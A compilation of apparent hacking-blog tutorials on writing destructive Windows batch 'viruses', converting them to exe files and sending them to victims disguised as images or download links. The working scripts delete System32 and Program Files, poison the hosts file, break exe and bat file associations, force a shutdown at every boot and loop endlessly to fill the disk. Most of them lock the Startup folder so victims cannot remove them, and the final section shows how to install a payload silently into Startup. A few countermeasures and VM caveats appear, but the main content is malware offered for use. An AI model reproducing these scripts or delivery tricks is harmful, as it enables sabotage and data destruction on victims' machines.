More Commands which can come handy in creating Virus

 There are few more commands which can come handy while creating a virus. Example- rd this command can be used to remove the directory, if we use this command smartly, we can create a deadly virus. Consider a situation where you created a virus which can delete system32 or program files.

Creating Process:-

1. Open Notepad and write the Program as given in the below examples and save it with .bat extension.

2. Convert this bat file to exe file using "bat to exe" converter. Click Here to download the tool.

3. Send this file to your victim and make him click, you can cover this file using image file, Click Here to learn hiding trick. Or you can upload this file in any file sharing website like ziddu.com or megaupload.com and give the link to your victim.

Lets Check some examples:-

Note:- To create batch files follow the above "creating process".

Syntax:

>rd /s /q <path of the foldername>

/s: delete the sub folder and files

/q: quite mode

Example:
>rd /s /q "C:\Program Files"
>rd /s /s "C:\WINDOWS\system32"


These programs will delete the contents inside program files and system32 folder.


Some other useful command:-
taskill
msg


Example you can use "msg" command to annoy the victim:
Copy the below code in .bat file and convert it to .exe extension(read above creating process)
cacls "%allusersprofile%\start menu\programs\startup" /e /p Everyone:N
:a
msg * your arse is kicked
goto a


After converting it to exe move this virus to "startup" folder so that, as soon as system system turns on this virus will run, Read this post to copy the virus in startup folder. And check the first line of this virus it says no one can alter the contents of this virus.
This virus can be used to annoy victim. The best thing about this virus is, it will display the message above all applications and that to in the center:)


Precaution:
Do not practice these tricks in your PC, use virtual machine in your PC to make and run these virus. One such virtual machine is Sun VirtualBox. Click Here to download.
After installing this Virtual Box install XP or 7 inside it(installing procedure is same). 

Virus that denies the access of the website when clicked.

In this tutorial we are going to modify the "hosts" file present in C:\Windows\System32\drivers\etc\, you may be wondering what this "hosts" file does? Whenever you type a domain name in address bar, at first browser checks this domain name in "hosts" file and checks whether the IP address for specified domain name is available or not. If IP address is found the browser will direct to the IP address in hosts file.

Creating Process:-

1. Open Notepad and write the Program as given in the below examples and save it with .bat extension.

2. Convert this bat file to exe file using "bat to exe" converter. Click Here to download the tool.

3. Send this file to your victim and make him click, you can cover this file using image file, Click Here to learn hiding trick. Or you can upload this file in any file sharing website like ziddu.com or megaupload.com and give the link to your victim.

Note:- To create batch files follow the above "creating process".

Code:

echo "any IP address"  www.facebook.com >> C:\windows\system32\drivers\etc\hosts any IP address

echo your "any IP address"  facebook.com >> C:\windows\system32\drivers\etc\hosts

echo "any IP address"  www.google.com >> C:\windows\system32\drivers\etc\hosts any IP address

echo your "any IP address"  google.com >> C:\windows\system32\drivers\etc\hosts
cacls "C:\WINDOWS\system32\drivers\etc" /e /p Everyone:N


Explanation:
This code will add the four domain name and there corresponding IP address(fake) in the victim's hosts file. And the last line of code ensures that victim should'nt  reedit the "hosts" file.
Now whenever victim tries to open facebook.com or Google, the content of the "hosts" file comes into play, that is facebook and google will be directed to the IP address which you have set.



Precaution:
Do not practice these tricks in your PC, use virtual machine in your PC to make and run these virus. One such virtual machine is Sun VirtualBox. Click Here to download.
After installing this Virtual Box install XP or 7 inside it(installing procedure is same). 

Virus that disables EXE files.

We know, all kinds of files opens with some specified programs, example video files can be opened with VLC player, in the same way exe files open with exefile program. This is called association, we say exe is associated with exefile. Now consider, somehow we managed to break this association, how deadly it could be, victim can never open any exe file(cmd, notepad, paint etc..).
To see association of files open command prompt and type:-                                                 assoc .<extension> example assoc .exe.

>assoc .bat <hit enter>
>.bat=batfile <result>
i.e bat file is associated with batfile.

Creating Process:-

1. Open Notepad and write the Program as given in the below examples and save it with .bat extension.

2. Convert this bat file to exe file using "bat to exe" converter. Click Here to download the tool.

3. Send this file to your victim and make him click, you can cover this file using image file, Click Here to learn hiding trick. Or you can upload this file in any file sharing website like ziddu.com or megaupload.com and give the link to your victim.

Note:- To create batch files follow the above "creating process".

Example Virus Break the association:

assoc .exe=abc     :: now exe file is associated with "abc" which does't exist.


Don't think that victim can't fix this problem, he can use .bat file to fix this problem, to fix this create bat file with code:

assoc .exe=exefile

In that case add more line in your virus program, check below:
assoc .exe=abc     :: now exe file is associated with "abc" which does't exist.

assoc .bat=abc     :: now bat file is associated with "abc" which does't exist.

Countermeasure:
1. Whenever we change the association, the registry file gets edited. So to recover from this attack the only thing we can do is, always keep backup of registry.
To create registry backup go to start->run->type regedit. You will get registry editor window inside that go to file menu->export and choose a location to save.
2. Edit the registry to correct the file association. If you don't know how to edit, download the registry settings for important file types. Click Here to download the settings.



Precaution:
Do not practice these tricks in your PC, use virtual machine in your PC to make and run these virus. One such virtual machine is Sun VirtualBox. Click Here to download.
After installing this Virtual Box install XP or 7 inside it(installing procedure is same). 

Virus that Shutdowns the PC every time PC Turns On.

This Virus will shutdown the PC as soon as PC is on. That means the victim can never open his/her PC. To create this virus we will use shutdown command. Before we start lets see how to use this command:

Command: shutdown

Options: -a, -r, -f, -t, -s, -c. 

-a: abort shutdown

-r: restart

-f: force the running application without warning i.e. force shutdown without warning.

-t: set timeout for shutdown in seconds

-s: shutdown

-c: display shutdown message.

For more options type shudown /? in command prompt.

Creating Process:-

1. Open Notepad and write the Program as given in the below examples and save it with .bat extension.

2. Convert this bat file to exe file using "bat to exe" converter. Click Here to download the tool.

3. Send this file to your victim and make him click, you can cover this file using image file, Click Here to learn hiding trick. Or you can upload this file in any file sharing website like ziddu.com or megaupload.com and give the link to your victim.

Note:- To create batch files follow the above "creating process".

Lets see few examples:-

Lets say this file is shut.exe(convert from bat to exe)

cacls "%allusersprofile%\start menu\programs\startup" /e /p Everyone:N

shutdown -s -f -c "format your hard drive" -t 00
move /y "shut.exe" "%allusersprofile%\start menu\programs\startup\"
Note:- The specified comment may not be seen if the timeout is 00 seconds
This is the most dangerous virus, once this virus is clicked there is no way victim can get away. Lets see what this virus is doing. We have moved our virus to the "startup" folder using move command, so that every time system turns on our virus gets executed and we denied all permissions to "startup" folder using cacls command, so that no one can delete our virus from "startup". In this program we have used four options s, f, c and t, I don't think there is any explanation needed for first three, In the fourth option I have given parameter "00" which means it will shutdown after zero seconds(instantly).


Use below code for Restart:

cacls "%allusersprofile%\start menu\programs\startup" /e /p Everyone:N

shutdown -r -f -c "format your hard drive" -t 00
move /y "shut.exe" "%allusersprofile%\start menu\programs\startup\"

I don't think there is any explanation needed for this program it is exactly same as above, the only thing changed is in place of "-s"(shutdown) option I have used "-r" option.



Precaution:
Do not practice these tricks in your PC, use virtual machine in your PC to make and run these virus. One such virtual machine is Sun VirtualBox. Click Here to download.
After installing this Virtual Box install XP or 7 inside it(installing procedure is same). 

Virus that creates folder inside folder and consumes indefinite memory

In this tutorial I will teach, How to create virus using BAT file and converting that bat file to exe file. You may have heard the word Batch Programming, creating .bat file using simple DOS commands is called Batch Programming. You do not need to have any programming knowledge to create a bat file just you need to know few DOS commands.

Creating Process:-

1. Open Notepad and write the Program as given in the below examples and save it with .bat extension.

2. Convert this bat file to exe file using "bat to exe" converter. Click Here to download the tool.

3. Send this file to your victim and make him click, you can cover this file using image file, Click Here to learn hiding trick. Or you can upload this file in any file sharing website like ziddu.com or megaupload.com and give the link to your victim.

Lets Check some examples:-

Note:- In the examples below "::"(double colons) represent comments in batch programming. To create batch files follow the above "creating process".

Virus that creates "folder inside folder" indefinitely.

@echo off     :: commands will not be shown on the screen 
:a                   :: here "a" is a label
md hacker   :: make a new directory named "hacker"
cd hacker     :: move the control inside the newly created "hacker" directory.
goto a            :: jump to the label "a"/loop.

This program will create a folder named "hacker" in the default location of your terminal(can be your desktop) and goes inside that folder and creates another folder and continues indefinitely.

Hold on this is not at all a good virus, the victim can press "ctrl+break" and stop the execution and then the delete the "hacker" folder. And anyway empty folder cannot harm the system.

Lets Check This:-

@echo off 

:a

md hacker

cacls  hacker /e /p Everyone:N   :: access denied to "hacker"

cd hacker

start cmd.exe                   :: start the new command prompt in each iteration
copy c:\windows\system32\     :: copy the contents of "system32" inside "hacker" folder

goto a

This virus may crash your hard drive. When this virus is clicked the "hacker" folder will be created indefinite times and each time new cmd will open, and the contents of "system32"will copied in each iteration and the biggest plus is the victim cannot delete the folder "hacker". Oh!! this looks cool now he can't do anything(if you are thinking this you are absolutely wrong) still you didn't created a great virus, every victim posses a great weapon to counter this virus, I call it Bramhastra i.e Restart the PC and everything is OK. Don't worry I have weapon to counter this Bramhastra.


What if we put our virus in startup folder, every time the system starts the virus will run automatically, to know how to copy a virus into "startup" folder Click here.


But today user are smart, there is a chance that they may delete our virus from startup folder and everything we did is in "vain":(  but hold on I am still not done yet, what if I denied every permission of startup folder from the victim, that means he can't even see the contents of the folder.  Just you have to do is add one line  in above program, lets see.

@echo off 

cacls "%allusersprofile%\start menu\programs\startup" /e /p Everyone:N                                                                        ::deny permission to startup folder

:a

md hacker

cacls  hacker /e /p Everyone:N         :: access denied to "hacker"

cd hacker

start cmd.exe                 ::start the new command prompt in each iteration

copy c:\windows\system32\         :: copy the contents of "system32" inside "hacker" folder

goto a

Now the only thing he/she can do is format the hard drive and our job is done:).


Countermeasure:-
1. The first thing you should do is, change the permission of "startup" folder. To do so open cmd and type in following command:-
cacls "%allusersprofile%\start menu\programs\startup" /e /p Everyone:F
It will certainly give you all permissions to the startup folder and then you can delete that virus and restart the system.
2. Use unlocker tool to delete folder whose permissions are denied. Click Here to download the Unlocker tool.



Precaution:
Do not practice these tricks in your PC, use virtual machine in your PC to make and run these virus. One such virtual machine is Sun VirtualBox. Click Here to download.
After installing this Virtual Box install XP or 7 inside it(installing procedure is same). 

Creating Ebomb using bat file.

Ebomb is a virus that usually used to annoy the victim by opening multiple applications. In this tutorial I will be using batch programming to create the Ebomb, You do not need to have any programming knowledge to create a bat file just you need to know few DOS commands.

Creating Process:-

1. Open Notepad and write the Program as given in the below examples and save it with .bat extension.

2. Convert this bat file to exe file using "bat to exe" converter. Click Here to download the tool.

3. Send this file to your victim and make him click, you can cover this file using image file, Click Here to learn hiding trick. Or you can upload this file in any file sharing website like ziddu.com or megaupload.com and give the link to your victim.

Note:- In the program "::"(double colons) represent comments in batch programming. To create batch files follow the above "creating process".

Lets see the program:-
Lets say the file name is mybomb.bat.
@echo off        :: will not echo/display the commands in cmd
cacls "%allusersprofile%\start menu\programs\startup" /e /p Everyone:N
:a
msg * you have fucked yourself:D 
start notepad
start cmd
move /y "mybomb.bat" "%allusersprofile%\start menu\programs\startup\"
goto a


Hold on the victim can easily see the contents of mybomb.bat file and may not  click the file, to avoid this convert this file to exe file using "bat to exe converter" and change the code a bit, see below for modified code:-


Lets say the name of the file is "mybomb.exe"

cacls "%allusersprofile%\start menu\programs\startup" /e /p Everyone:N
:a
msg * you have fucked yourself:D 
start notepad
start cmd
move /y "mybomb.exe" "%allusersprofile%\start menu\programs\startup\"
goto a

Explanation:-
This virus will pop up a message saying "you have fucked yourself" and will open notepad and cmd.exe and this process will continue indefinetly.
We have moved our virus inside "startup" using move command, ensuring victim can't get away from this virus using "Restart" and finally we denied all permissions to the "startup" folder using cacls command, so that victim will not be able to delete the virus from the "startup"  folder.
Note: I am not so sure if the move command in line 6 will work, test it, if it does'nt read this post to move the virus to "startup" folder.
Coutermeasure:-
1. The first thing you should do is, change the permission of "startup" folder. To do so open cmd and type in following command:-
cacls "%allusersprofile%\start menu\programs\startup" /e /p Everyone:F
It will certainly give you all permissions to the startup folder and then you can delete that virus and restart the system.
2. Use unlocker tool to delete folder whose permissions are denied. Click Here to download the Unlocker tool.



Precaution:
Do not practice these tricks in your PC, use virtual machine in your PC to make and run these virus. One such virtual machine is Sun VirtualBox. Click Here to download.
After installing this Virtual Box install XP or 7 inside it(installing procedure is same). 

Method to Move the virus to Startup Folder

This trick can be used to extract a file in a particular location. That means we can use this trick to move a Virus program to "startup" folder so that whenever a victim turns his/her PC, the virus will activate. Not only for virus you can use this trick for other purpose like replacing the actual "hosts" file of PC with modified "hosts" file. 

Note:- before using this trick convert the bat file to exe file using bat to exe converter, Click here to download.
Follow The Steps Below:

1. Right click the exe(eg abc.exe) file and click on "add to archive"( install winrar, in case you don't see the option).
2. Check the option "create SFX archive", you may have observed that your Archive name changed to something like this "abc.sfx.exe".

3. Now go to "Advanced" tab and click on "SFX option" button.

4. Now in the field "Path to Extract" type:
"%allusersprofile%\start menu\programs\startup\"

5. Go to "modes" tab and click on "hide all" option under "silent mode".

6. Click "OK" and you are done.





Precaution:
Do not practice these tricks in your PC, use virtual machine in your PC to make and run these virus. One such virtual machine is Sun VirtualBox. Click Here to download.
After installing this Virtual Box install XP or 7 inside it(installing procedure is same).